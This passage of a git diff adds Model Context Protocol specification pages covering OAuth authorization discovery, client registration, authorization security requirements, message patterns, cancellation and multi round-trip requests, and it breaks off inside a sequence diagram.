+ M-->>C: HTTP 401 Unauthorized (may include WWW-Authenticate header)
+
+ alt Header includes resource_metadata
+ Note over C: Extract resource_metadata URL from header
+ C->>M: GET resource_metadata URI
+ M-->>C: Resource metadata with authorization server URL
+ else No resource_metadata in header
+ Note over C: Fallback to well-known URI probing
+ Note over M: _Not applicable if the MCP server is at the root_
+ C->>M: GET /.well-known/oauth-protected-resource/mcp
+ alt Sub-path metadata found
+ M-->>C: Resource metadata with authorization server URL
+ else Sub-path not found
+ C->>M: GET /.well-known/oauth-protected-resource
+ alt Root metadata found
+ M-->>C: Resource metadata with authorization server URL
+ else Root metadata not found
+ Note over C: Abort or use pre-configured values
+ end
+ end
+ end
+
+ Note over C: Validate RS metadata, build AS metadata URL
+
+ C->>A: GET Authorization server metadata endpoint
+ Note over C,A: Try OAuth 2.0 and OpenID Connect discovery endpoints in priority order
+ A-->>C: Authorization server metadata
+
+ Note over C,A: OAuth 2.1 authorization flow happens here
+
+ C->>A: Token request
+ A-->>C: Access token
+
+ C->>M: MCP request with access token
+ M-->>C: MCP response
+ Note over C,M: MCP communication continues with valid token
+```
diff --git a/content/mcp/specification/2026-07-28/basic/authorization/client-registration.md b/content/mcp/specification/2026-07-28/basic/authorization/client-registration.md
new file mode 100644
index 000000000..bf7451bc5
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/authorization/client-registration.md
@@ -0,0 +1,204 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Client Registration
+
+
+
+MCP supports three client registration mechanisms. Choose based on your scenario:
+
+* **[Client ID Metadata Documents](#client-id-metadata-documents)**: When client and server have no prior relationship (most common)
+* **[Pre-registration](#pre-registration)**: When client and server have an existing relationship
+* **[Dynamic Client Registration](#dynamic-client-registration)**: For backwards compatibility or specific requirements
+
+Clients supporting all options **SHOULD** use the following priority order:
+
+1. Use pre-registered client information for the server if the client has it available
+2. Use Client ID Metadata Documents if the Authorization Server indicates that it supports them (via `client_id_metadata_document_supported` in OAuth Authorization Server Metadata)
+3. Use Dynamic Client Registration as a fallback if the Authorization Server supports it (via `registration_endpoint` in OAuth Authorization Server Metadata)
+4. Prompt the user to enter the client information if no other option is available
+
+## Client ID Metadata Documents
+
+MCP clients and authorization servers **SHOULD** support OAuth Client ID Metadata Documents as specified in
+[OAuth Client ID Metadata Document](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00)
+for client registration.
+
+This approach enables clients to use HTTPS URLs as client identifiers, where the URL points to a JSON document
+containing client metadata. This addresses the common MCP scenario where servers and clients have
+no pre-existing relationship.
+
+### Implementation Requirements
+
+MCP implementations supporting Client ID Metadata Documents **MUST** follow the requirements specified in
+[OAuth Client ID Metadata Document](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00).
+Key requirements include:
+
+**For MCP Clients:**
+
+* Clients **MUST** host their metadata document at an HTTPS URL following RFC requirements
+* The `client_id` URL **MUST** use the "https" scheme and contain a path component, e.g. `https://example.com/client.json`
+* The metadata document **MUST** include at least the following properties: `client_id`, `client_name`, `redirect_uris`
+* Clients **MUST** ensure the `client_id` value in the metadata matches the document URL exactly
+* Clients **MAY** use `private_key_jwt` for client authentication (e.g., for requests to the token endpoint) with appropriate JWKS configuration as described in [Section 6.2 of Client ID Metadata Document](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.2)
+
+**For Authorization Servers:**
+
+* **SHOULD** fetch metadata documents when encountering URL-formatted client\_ids
+* **MUST** validate that the fetched document's `client_id` matches the URL exactly
+* **SHOULD** cache metadata respecting HTTP cache headers
+* **MUST** validate redirect URIs presented in an authorization request against those in the metadata document
+* **MUST** validate the document structure is valid JSON and contains required fields
+* **SHOULD** follow the security considerations in [Section 6 of Client ID Metadata Document](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6) and in [Client ID Metadata Document Security](/specification/2026-07-28/basic/authorization/security-considerations#client-id-metadata-document-security)
+
+### Example Metadata Document
+
+```json theme={null}
+{
+ "client_id": "https://app.example.com/oauth/client-metadata.json",
+ "client_name": "Example MCP Client",
+ "client_uri": "https://app.example.com",
+ "logo_uri": "https://app.example.com/logo.png",
+ "redirect_uris": [
+ "http://127.0.0.1:3000/callback",
+ "http://localhost:3000/callback"
+ ],
+ "grant_types": ["authorization_code"],
+ "response_types": ["code"],
+ "token_endpoint_auth_method": "none"
+}
+```
+
+### Client ID Metadata Documents Flow
+
+The following diagram illustrates the complete flow when using Client ID Metadata Documents:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant User
+ participant Client as MCP Client
+ participant Server as Authorization Server
+ participant Metadata as Metadata Endpoint (Client's HTTPS URL)
+ participant Resource as MCP Server
+
+ Note over Client,Metadata: Client hosts metadata at https://app.example.com/oauth/metadata.json
+
+ User->>Client: Initiates connection to MCP Server
+ Client->>Server: Authorization Request client_id=https://app.example.com/oauth/metadata.json redirect_uri=http://localhost:3000/callback
+
+ Server->>User: Authentication prompt
+ User->>Server: Provides credentials
+ Note over Server: Authenticates user
+
+ Note over Server: Detects URL-formatted client_id
+
+ Server->>Metadata: GET https://app.example.com/oauth/metadata.json
+ Metadata-->>Server: JSON Metadata Document {client_id, client_name, redirect_uris, ...}
+
+ Note over Server: Validates: 1. client_id matches URL 2. redirect_uri in allowed list 3. Document structure valid 4. (Optional) Domain allowed via trust policy
+
+ alt Validation Success
+ Server->>User: Display consent page with client_name
+ User->>Server: Approves access
+ Server->>Client: Authorization code via redirect_uri
+ Client->>Server: Exchange code for token client_id=https://app.example.com/oauth/metadata.json
+ Server-->>Client: Access token
+ Client->>Resource: MCP requests with access token
+ Resource-->>Client: MCP responses
+ else Validation Failure
+ Server->>User: Error response error=invalid_client or invalid_request
+ end
+
+ Note over Server: Cache metadata for future requests (respecting HTTP cache headers)
+```
+
+### Advertising CIMD Support
+
+Authorization servers advertise that they support clients using Client ID Metadata Documents by including the following property in their OAuth Authorization Server metadata:
+
+```json theme={null}
+{
+ "client_id_metadata_document_supported": true
+}
+```
+
+MCP clients **SHOULD** check for this capability and **MAY** fall back to
+[Dynamic Client Registration](#dynamic-client-registration)
+or [pre-registration](#pre-registration) if unavailable.
+
+## Pre-registration
+
+MCP clients **SHOULD** support an option for static client credentials such as those supplied by a pre-registration flow. This could be:
+
+1. Hardcode a client ID (and, if applicable, client credentials) specifically for the MCP client to use when
+ interacting with that authorization server, or
+2. Present a UI to users that allows them to enter these details, after registering an
+ OAuth client themselves (e.g., through a configuration interface hosted by the
+ server).
+
+## Dynamic Client Registration
+
+
+ Dynamic Client Registration is deprecated. New implementations should use
+ [Client ID Metadata Documents](#client-id-metadata-documents) instead. This
+ option remains available for backwards compatibility with authorization
+ servers that do not support Client ID Metadata Documents.
+
+
+MCP clients and authorization servers **MAY** support the
+OAuth 2.0 Dynamic Client Registration Protocol [RFC7591](https://datatracker.ietf.org/doc/html/rfc7591)
+to allow MCP clients to obtain OAuth client IDs without user interaction.
+This option is included for backwards compatibility with earlier versions of the MCP authorization spec.
+
+### Application Type and Redirect URI Constraints
+
+When authorization servers support OpenID Connect (OIDC) and
+Dynamic Client Registration, they may enforce additional
+constraints on redirect URIs based on the `application_type`
+parameter as defined in
+[OpenID Connect Dynamic Client Registration 1.0](https://openid.net/specs/openid-connect-registration-1_0.html).
+
+MCP clients **MUST** specify an appropriate `application_type`
+during Dynamic Client Registration. Omitting it defaults to
+`"web"` under OIDC, which can conflict with native-style redirect
+URIs; non-OIDC servers safely ignore the parameter.
+
+* **Native applications** (desktop applications, mobile apps,
+ CLI tools, and locally-hosted web applications accessed via
+ `localhost`) **SHOULD** use `application_type: "native"`
+* **Web applications** (remote browser-based applications
+ served from a non-local host) **SHOULD** use
+ `application_type: "web"`
+
+MCP clients **MUST** be prepared to handle registration
+failures due to redirect URI constraints when authorization
+servers implement OIDC. When a registration request is rejected,
+clients **SHOULD** surface a meaningful error to the user or
+developer. Clients **MAY** retry registration with an adjusted
+`application_type` or with redirect URIs that conform to the
+authorization server's requirements for the given application
+type.
+
+## Authorization Server Binding
+
+Clients that use pre-registered credentials, or persist client credentials obtained via Dynamic Client
+Registration, **MUST** associate those
+credentials with the specific authorization server that issued them,
+keyed by the authorization server's `issuer` identifier. When the
+authorization server changes (detected via updated
+[protected resource metadata](/specification/2026-07-28/basic/authorization/authorization-server-discovery#authorization-server-location)),
+clients **MUST NOT** reuse client credentials
+from a different authorization server and **MUST** re-register
+with the new authorization server.
+
+Pre-registered credentials are inherently specific to a particular
+authorization server. If the authorization server indicated by
+protected resource metadata no longer matches the one the
+credentials were registered with, clients **SHOULD** surface an
+error rather than silently attempting to use mismatched credentials.
+
+Client IDs based on Client ID Metadata Documents are portable
+across authorization servers, since they are self-hosted HTTPS URLs
+resolved by the authorization server on demand. No re-registration
+is needed when the authorization server changes.
diff --git a/content/mcp/specification/2026-07-28/basic/authorization/security-considerations.md b/content/mcp/specification/2026-07-28/basic/authorization/security-considerations.md
new file mode 100644
index 000000000..670c56797
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/authorization/security-considerations.md
@@ -0,0 +1,132 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Authorization Security Considerations
+
+
+
+This document outlines security requirements that implementers **MUST** consider when
+building MCP clients and servers.
+
+Additionally, implementors **MUST** follow OAuth 2.1 security best practices as outlined in
+[OAuth 2.1 Section 7. "Security Considerations"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#name-security-considerations).
+
+## Token Audience Binding and Validation
+
+[RFC 8707](https://www.rfc-editor.org/rfc/rfc8707.html) Resource Indicators provide critical security benefits by binding tokens to their intended
+audiences **when the Authorization Server supports the capability**. To enable current and future adoption:
+
+* MCP clients **MUST** include the `resource` parameter in authorization and token requests as specified in the [Resource Parameter Implementation](/specification/2026-07-28/basic/authorization#resource-parameter-implementation) section
+* MCP servers **MUST** validate that tokens presented to them were specifically issued for their use
+
+The [Security Best Practices document](/docs/draft/tutorials/security/security_best_practices#token-passthrough)
+outlines why token audience validation is crucial and why token passthrough is explicitly forbidden.
+
+## Token Theft
+
+Attackers who obtain tokens stored by the client, or tokens cached or logged on the server can access protected resources with
+requests that appear legitimate to resource servers.
+
+Clients and servers **MUST** implement secure token storage and follow OAuth best practices,
+as outlined in [OAuth 2.1, Section 7.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.1).
+
+Authorization servers **SHOULD** issue short-lived access tokens to reduce the impact of leaked tokens.
+For public clients, authorization servers **MUST** rotate refresh tokens as described in [OAuth 2.1 Section 4.3.1 "Token Endpoint Extension"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-4.3.1).
+
+## Communication Security
+
+Implementations **MUST** follow [OAuth 2.1 Section 1.5 "Communication Security"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-1.5).
+
+Specifically:
+
+1. All authorization server endpoints **MUST** be served over HTTPS.
+2. All redirect URIs **MUST** be either `localhost` or use HTTPS.
+
+## Authorization Code Protection
+
+An attacker who has gained access to an authorization code contained in an authorization response can try to redeem the authorization code for an access token or otherwise make use of the authorization code.
+(Further described in [OAuth 2.1 Section 7.5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.5))
+
+To mitigate this, MCP clients **MUST** implement PKCE according to [OAuth 2.1 Section 7.5.2](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.5.2) and **MUST** verify PKCE support before proceeding with authorization.
+PKCE helps prevent authorization code interception and injection attacks by requiring clients to create a secret verifier-challenge pair, ensuring that only the original requestor can exchange an authorization code for tokens.
+
+MCP clients **MUST** use the `S256` code challenge method when technically capable, as required by [OAuth 2.1 Section 4.1.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-4.1.1).
+
+Since OAuth 2.1 and PKCE specifications do not define a mechanism for clients to discover PKCE support, MCP clients **MUST** rely on authorization server metadata to verify this capability:
+
+* **OAuth 2.0 Authorization Server Metadata**: If `code_challenge_methods_supported` is absent, the authorization server does not support PKCE and MCP clients **MUST** refuse to proceed.
+
+* **OpenID Connect Discovery 1.0**: While the [OpenID Provider Metadata](https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderMetadata) does not define `code_challenge_methods_supported`, this field is commonly included by OpenID providers. MCP clients **MUST** verify the presence of `code_challenge_methods_supported` in the provider metadata response. If the field is absent, MCP clients **MUST** refuse to proceed.
+
+Authorization servers providing OpenID Connect Discovery 1.0 **MUST** include `code_challenge_methods_supported` in their metadata to ensure MCP compatibility.
+
+## Mix-Up Attacks
+
+An attacker that controls one of the authorization servers an MCP client interacts with may attempt to have the client send it an authorization code or token issued by a different, honest authorization server (a mix-up attack, described in [RFC9207 Section 1](https://datatracker.ietf.org/doc/html/rfc9207#section-1)). [Authorization Response Validation](/specification/2026-07-28/basic/authorization#authorization-response-validation) specifies the required mitigation.
+
+## Open Redirection
+
+An attacker may craft malicious redirect URIs to direct users to phishing sites.
+
+MCP clients **MUST** have redirect URIs registered with the authorization server.
+
+Authorization servers **MUST** validate exact redirect URIs against pre-registered values to prevent redirection attacks.
+
+MCP clients **SHOULD** use and verify state parameters in the authorization code flow
+and discard any results that do not include or have a mismatch with the original state.
+
+Authorization servers **MUST** take precautions to prevent redirecting user agents to untrusted URI's, following suggestions laid out in [OAuth 2.1 Section 7.12.2](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-7.12.2)
+
+Authorization servers **SHOULD** only automatically redirect the user agent if it trusts the redirection URI. If the URI is not trusted, the authorization server MAY inform the user and rely on the user to make the correct decision.
+
+## Client ID Metadata Document Security
+
+When implementing [Client ID Metadata Documents](/specification/2026-07-28/basic/authorization/client-registration#client-id-metadata-documents), authorization servers **MUST** consider the security implications
+detailed in [OAuth Client ID Metadata Document, Section 6](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00#name-security-considerations).
+Key considerations include:
+
+### Authorization Server Abuse Protection
+
+Authorization servers fetching metadata documents **SHOULD** consider
+[Server-Side Request Forgery (SSRF)](https://developer.mozilla.org/docs/Web/Security/Attacks/SSRF) risks, as described in [OAuth Client ID Metadata Document: Server Side Request Forgery (SSRF) Attacks](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00#name-server-side-request-forgery).
+
+### Localhost Redirect URI Risks
+
+Client ID Metadata Documents cannot prevent `localhost` URL impersonation by themselves.
+
+Authorization servers:
+
+* **SHOULD** display additional warnings for `localhost`-only redirect URIs
+* **MAY** require additional attestation mechanisms for enhanced security
+* **MUST** clearly display the redirect URI hostname during authorization
+
+### Trust Policies
+
+Authorization servers **MAY** implement domain-based trust policies for accepting Client ID Metadata Documents, as described in [Section 6.4](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.4) and [Section 6.8](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.8) of the Client ID Metadata Document specification.
+
+## Confused Deputy Problem
+
+Attackers can exploit MCP servers acting as intermediaries to third-party APIs, leading to [confused deputy vulnerabilities](/docs/draft/tutorials/security/security_best_practices#confused-deputy-problem).
+By using stolen authorization codes, they can obtain access tokens without user consent.
+
+MCP proxy servers using static client IDs **MUST** obtain user consent for each
+[dynamically registered client](/specification/2026-07-28/basic/authorization/client-registration#dynamic-client-registration)
+before forwarding to third-party authorization servers (which may require additional consent).
+
+## Access Token Privilege Restriction
+
+An attacker can gain unauthorized access or otherwise compromise an MCP server if the server accepts tokens issued for other resources.
+
+MCP servers **MUST** validate access tokens before processing the request, ensuring the access token is issued specifically for the MCP server, and take all necessary steps to ensure no data is returned to unauthorized parties.
+
+A MCP server **MUST** follow the guidelines in [OAuth 2.1 - Section 5.2](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#section-5.2) to validate inbound tokens.
+
+MCP servers **MUST** only accept tokens specifically intended for themselves and **MUST** reject tokens that do not include them in the audience claim or otherwise verify that they are the intended recipient of the token. See the [Security Best Practices Token Passthrough section](/docs/draft/tutorials/security/security_best_practices#token-passthrough) for details.
+
+If the MCP server makes requests to upstream APIs, it may act as an OAuth client to them. The access token used at the upstream API is a separate token, issued by the upstream authorization server. The MCP server **MUST NOT** pass through the token it received from the MCP client.
+
+MCP clients **MUST** implement and use the `resource` parameter as defined in [RFC 8707 - Resource Indicators for OAuth 2.0](https://www.rfc-editor.org/rfc/rfc8707.html)
+to explicitly specify the target resource for which the token is being requested. This requirement aligns with the recommendation in
+[RFC 9728 Section 7.4](https://datatracker.ietf.org/doc/html/rfc9728#section-7.4). This ensures that access tokens are bound to their intended resources and
+cannot be misused across different services.
diff --git a/content/mcp/specification/2026-07-28/basic/patterns.md b/content/mcp/specification/2026-07-28/basic/patterns.md
new file mode 100644
index 000000000..ab24308d2
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/patterns.md
@@ -0,0 +1,87 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Overview
+
+
+
+This page defines the message patterns of the core protocol: the ways a
+client and server compose JSON-RPC
+[requests, responses, and notifications](/specification/2026-07-28/basic/index#messages)
+into interactions. Every
+[transport](/specification/2026-07-28/basic/transports) carries all of these
+patterns; transports differ only in how messages are framed and delivered.
+
+Every interaction begins with the client:
+
+* The **client** sends JSON-RPC *requests* and *notifications*.
+* The **server** answers each request with a JSON-RPC *response* (a result
+ or error), optionally preceded by *notifications* scoped to that request.
+
+Servers **MUST NOT** initiate JSON-RPC requests, and clients do not send
+JSON-RPC responses.
+
+## Request and Response
+
+The client sends a request; the server answers it with a result or an error.
+While the request is in flight, the server **MAY** send notifications scoped
+to it, such as
+[`notifications/progress`](/specification/2026-07-28/basic/patterns/progress)
+and [`notifications/message`](/specification/2026-07-28/server/utilities/logging).
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Client->>Server: request
+ Server-->>Client: notifications/progress (optional)
+ Server-->>Client: response
+```
+
+## Multi Round-Trip Requests
+
+When a server needs client input (sampling, elicitation, or roots) to
+complete a request, it answers with an
+[`InputRequiredResult`](/specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult)
+and the client retries the request with the matching `inputResponses`. See
+[Multi Round-Trip Requests](/specification/2026-07-28/basic/patterns/mrtr).
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Client->>Server: request (id: 1)
+ Server-->>Client: InputRequiredResult (inputRequests)
+ Client->>Server: request (id: 2, original params + inputResponses)
+ Server-->>Client: response
+```
+
+## Subscribe and Notify
+
+To receive change notifications (list changes, resource updates), the client
+sends a
+[`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions)
+request; the reply is a long-lived stream of the requested notification
+types. Stream state is scoped to the request: if the underlying channel is
+lost, the client re-issues the request.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Client->>Server: subscriptions/listen
+ Server-->>Client: notifications/subscriptions/acknowledged
+ note over Client,Server: Stream stays open
+ Server-->>Client: notifications/* (tagged with subscriptionId)
+```
+
+## Adding Patterns
+
+All core protocol features are built from these patterns. A protocol
+revision that adds a pattern defines it on this page. Transports carry new
+patterns without changes, because patterns are expressed entirely in terms
+of requests, responses, and notifications.
diff --git a/content/mcp/specification/2026-07-28/basic/patterns/cancellation.md b/content/mcp/specification/2026-07-28/basic/patterns/cancellation.md
new file mode 100644
index 000000000..8b9475ca4
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/patterns/cancellation.md
@@ -0,0 +1,124 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Cancellation
+
+
+
+The Model Context Protocol (MCP) supports optional cancellation of in-progress requests
+through notification messages. A client **SHOULD** send a cancellation notification
+to indicate that a request it previously issued should be terminated.
+
+A server **MUST** send `notifications/cancelled`
+referencing a `subscriptions/listen` request ID when it tears down that subscription
+stream (see [Subscriptions][subscriptions]). Servers **MUST NOT** send
+`notifications/cancelled` for any other purpose.
+
+## Cancellation Flow
+
+When a client wants to cancel an in-progress request, it sends a `notifications/cancelled`
+notification containing:
+
+* The ID of the request to cancel
+* An optional reason string that can be logged or displayed
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "method": "notifications/cancelled",
+ "params": {
+ "requestId": "123",
+ "reason": "User requested cancellation"
+ }
+}
+```
+
+## Transport-Specific Cancellation
+
+How a client signals cancellation depends on the transport:
+
+* **Streamable HTTP**: Closing the SSE response stream is the cancellation signal.
+ The server **MUST** treat a client disconnect as cancellation of that request. No
+ `notifications/cancelled` message is required or expected.
+* **stdio**: There is no per-request stream to close. The client **MUST** send a
+ `notifications/cancelled` notification referencing the request ID.
+
+## Timeouts
+
+Implementations **SHOULD** establish timeouts for all sent requests, to prevent hung
+connections and resource exhaustion. When the request has not received a success or error
+response within the timeout period, the sender **SHOULD** cancel the request and stop
+waiting for a response. As described in
+[Transport-Specific Cancellation](#transport-specific-cancellation), this means:
+
+* **Streamable HTTP**: closing the response stream for the request, which constitutes
+ cancellation.
+* **stdio**: sending a `notifications/cancelled` notification referencing the request ID.
+
+SDKs and other middleware **SHOULD** allow these timeouts to be configured on a
+per-request basis.
+
+Implementations **MAY** choose to reset the timeout clock when receiving a
+[progress notification](/specification/2026-07-28/basic/patterns/progress) corresponding to
+the request, as this implies that work is actually happening. However, implementations
+**SHOULD** always enforce a maximum timeout, regardless of progress notifications, to
+limit the impact of a misbehaving client or server.
+
+## Behavior Requirements
+
+1. Cancellation notifications **MUST** only reference requests that:
+ * Were previously issued by the client
+ * Are believed to still be in-progress
+2. Server-sent cancellation notifications **MUST** reference a
+ `subscriptions/listen` request, to terminate that subscription stream
+3. Servers receiving cancellation notifications **SHOULD**:
+ * Stop processing the cancelled request
+ * Free associated resources
+ * Not send a response for the cancelled request
+4. Servers **MAY** ignore cancellation notifications if:
+ * The referenced request is unknown
+ * Processing has already completed
+ * The request cannot be cancelled
+5. The client **SHOULD** ignore any response to the cancelled request that arrives
+ afterward
+
+## Timing Considerations
+
+Due to network latency, cancellation notifications may arrive after request processing
+has completed, and potentially after a response has already been sent.
+
+Both parties **MUST** handle these race conditions gracefully:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client
+ participant Server
+
+ Client->>Server: Request (ID: 123)
+ Note over Server: Processing starts
+ Client--)Server: notifications/cancelled (ID: 123)
+ alt
+ Note over Server: Processing may have completed before cancellation arrives
+ else If not completed
+ Note over Server: Stop processing
+ end
+```
+
+## Implementation Notes
+
+* Both parties **SHOULD** log cancellation reasons for debugging
+* Application UIs **SHOULD** indicate when cancellation is requested
+
+## Error Handling
+
+Invalid cancellation notifications **SHOULD** be ignored:
+
+* Unknown request IDs
+* Already completed requests
+* Malformed notifications
+
+This maintains the "fire and forget" nature of notifications while allowing for race
+conditions in asynchronous communication.
+
+[subscriptions]: /specification/2026-07-28/basic/patterns/subscriptions
diff --git a/content/mcp/specification/2026-07-28/basic/patterns/mrtr.md b/content/mcp/specification/2026-07-28/basic/patterns/mrtr.md
new file mode 100644
index 000000000..dc80e8de2
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic/patterns/mrtr.md
@@ -0,0 +1,279 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Multi Round-Trip Requests
+
+
+
+
+ Multi Round-Trip Requests (MRTR) was introduced in this version of the MCP
+ specification. This replaces the previous approach of sending server-initiated
+ requests. Servers **MUST** send server-to-client requests (such as
+ `roots/list`, `sampling/createMessage`, or `elicitation/create`) using the
+ MRTR pattern. The previous pattern of server-initiated requests is no longer
+ supported. This is a breaking change.
+
+
+
+ For brevity, the request examples on this page omit the `_meta` request
+ metadata (`io.modelcontextprotocol/protocolVersion`,
+ `io.modelcontextprotocol/clientInfo`, and
+ `io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include
+ the required `_meta` fields; see
+ [`_meta`](/specification/2026-07-28/basic/index#meta).
+
+
+## Multi Round-Trip Requests
+
+The Model Context Protocol (MCP) defines several ways for servers to request additional information
+from users during the processing of client requests (such as
+`roots/list`, `sampling/createMessage`, or `elicitation/create`). The **multi round-trip requests** pattern
+provides a standardized way to handle these server-requests without requiring a shared storage layer across
+server instances or requiring stateful load balancing.
+
+The high level flow functions as follows:
+
+1. Client sends an initial request to the server with the parameters needed to perform the operation.
+2. Server determines that additional information is required to fulfill the request and responds requesting more information.
+3. Client gathers the requested information from the user or other sources, then retries the original request including the additional requested information.
+4. Server determines it has sufficient information to complete the operation, and responds with the final result.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant C as Client
+ participant S as Server
+ C->>S: client request (id: 1, request params)
+ note over S: Server needs more info to process request.
+ S-->>C: Request for additional input.
+
+ note over C: Client gathers input and retries initial request.
+ C->>S: client request (id: 2, request params, requested input)
+ note over S: Server has enough information to complete the request.
+ S-->>C: Result (id: 2, result)
+```
+
+### Core Types
+
+This flow is implemented in MCP using the following Types.
+
+#### InputRequests
+
+An [`InputRequests`](/specification/2026-07-28/schema#inputrequests) object is a map of server-client requests.
+Keys are server-assigned string identifiers;
+values are request objects (e.g., [`ElicitRequest`](/specification/2026-07-28/schema#elicitrequest), [`CreateMessageRequest`](/specification/2026-07-28/schema#createmessagerequest), or [`ListRootsRequest`](/specification/2026-07-28/schema#listrootsrequest)).
+
+```json theme={null}
+{
+ "github_login": {
+ "method": "elicitation/create",
+ "params": {
+ "mode": "form",
+ "message": "Please provide your GitHub username",
+ "requestedSchema": {
+ "type": "object",
+ "properties": {
+ "name": { "type": "string" }
+ },
+ "required": ["name"]
+ }
+ }
+ },
+ "capital_of_france": {
+ "method": "sampling/createMessage",
+ "params": {
+ "messages": [
+ {
+ "role": "user",
+ "content": {
+ "type": "text",
+ "text": "What is the capital of France?"
+ }
+ }
+ ],
+ "systemPrompt": "You are a helpful assistant.",
+ "maxTokens": 100
+ }
+ }
+}
+```
+
+#### InputResponses
+
+An [`InputResponses`](/specification/2026-07-28/schema#inputresponses) object is a map of client responses to the server requests.
+Keys correspond to the keys in the `InputRequests` map; values are the client's result for each request (e.g., [`ElicitResult`](/specification/2026-07-28/schema#elicitresult), [`CreateMessageResult`](/specification/2026-07-28/schema#createmessageresult), or [`ListRootsResult`](/specification/2026-07-28/schema#listrootsresult)).
+
+```json theme={null}
+{
+ "github_login": {
+ "action": "accept",
+ "content": {
+ "name": "octocat"
+ }
+ },
+ "capital_of_france": {
+ "role": "assistant",
+ "content": {
+ "type": "text",
+ "text": "The capital of France is Paris."
+ },
+ "model": "claude-3-sonnet-20240307",
+ "stopReason": "endTurn"
+ }
+}
+```
+
+#### InputRequiredResult
+
+An [`InputRequiredResult`](/specification/2026-07-28/schema#inputrequiredresult) is a type of [`Result`](/specification/2026-07-28/basic#responses),
+indicating that additional input is needed before the request can be completed.
+
+* `inputRequests` *(optional)*: An [`InputRequests`](/specification/2026-07-28/schema#inputrequests) map of server-initiated requests that the client must fulfill.
+* `requestState` *(optional)*: An opaque string meaningful only to the server. Clients **MUST NOT** inspect, parse, modify, or make any assumptions about its contents.
+
+```json theme={null}
+{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ "resultType": "input_required",
+ "inputRequests": {
+ // Elicitation request.
+ "github_login": {
+ "method": "elicitation/create",
+ "params": {
+ "mode": "form",
+ "message": "Please provide your GitHub username",
+ "requestedSchema": {
+ "type": "object",
+ "properties": {
+ "name": { "type": "string" }
+ },
+ "required": ["name"]
+ }
+ }
+ },
+ // Sampling request.
+ "capital_of_france": {
+ "method": "sampling/createMessage",
+ "params": {
+ "messages": [
+ {
+ "role": "user",
+ "content": {
+ "type": "text",
+ "text": "What is the capital of France?"
+ }
+ }
+ ],
+ "modelPreferences": {
+ "hints": [{ "name": "claude-3-sonnet" }],
+ "intelligencePriority": 0.8,
+ "speedPriority": 0.5
+ },
+ "systemPrompt": "You are a helpful assistant.",
+ "maxTokens": 100
+ }
+ }
+ },
+ "requestState": "AEAD-protected blob"
+ }
+}
+```
+
+### Supported Requests
+
+Servers **MAY** send `InputRequiredResult` responses on the following client requests:
+
+| Client Request | Supports InputRequiredResult |
+| -------------------------------------------------------------------------------- | ---------------------------- |
+| [`prompts/get`](/specification/2026-07-28/server/prompts#getting-a-prompt) | Yes |
+| [`resources/read`](/specification/2026-07-28/server/resources#reading-resources) | Yes |
+| [`tools/call`](/specification/2026-07-28/server/tools#calling-tools) | Yes |
+
+Servers **MUST NOT** send `InputRequiredResult` responses on any other client requests.
+
+### Basic Workflow
+
+The basic workflow describes how a server can request additional input from the client as part of a client-server request.
+In this example we use `tools/call` as the client request, but the same pattern applies to any of the supported requests listed above.
+
+Notably, it allows servers to request additional information without maintaining any server-side state.
+The server encodes any needed context into the `requestState` field, which the client echoes back on retry.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant U as User
+ participant C as Client
+ participant S as Server
+ C->>S: tools/call (id: 1)
+ note over S: Server needs more info via Elicitation
+ S-->>C: InputRequiredResult (id: 1, ElicitRequest, requestState)
+ note over C,S: Initial Request Terminated
+
+ C->>U: Prompts user for input
+ U-->>C: Provides responses
+
+ note over C: Client retries tool call with inputResponses and requestState
+ C->>S: tools/call (id: 2, ElicitResult, requestState)
+ note over S: Server reconstitutes state Completes execution
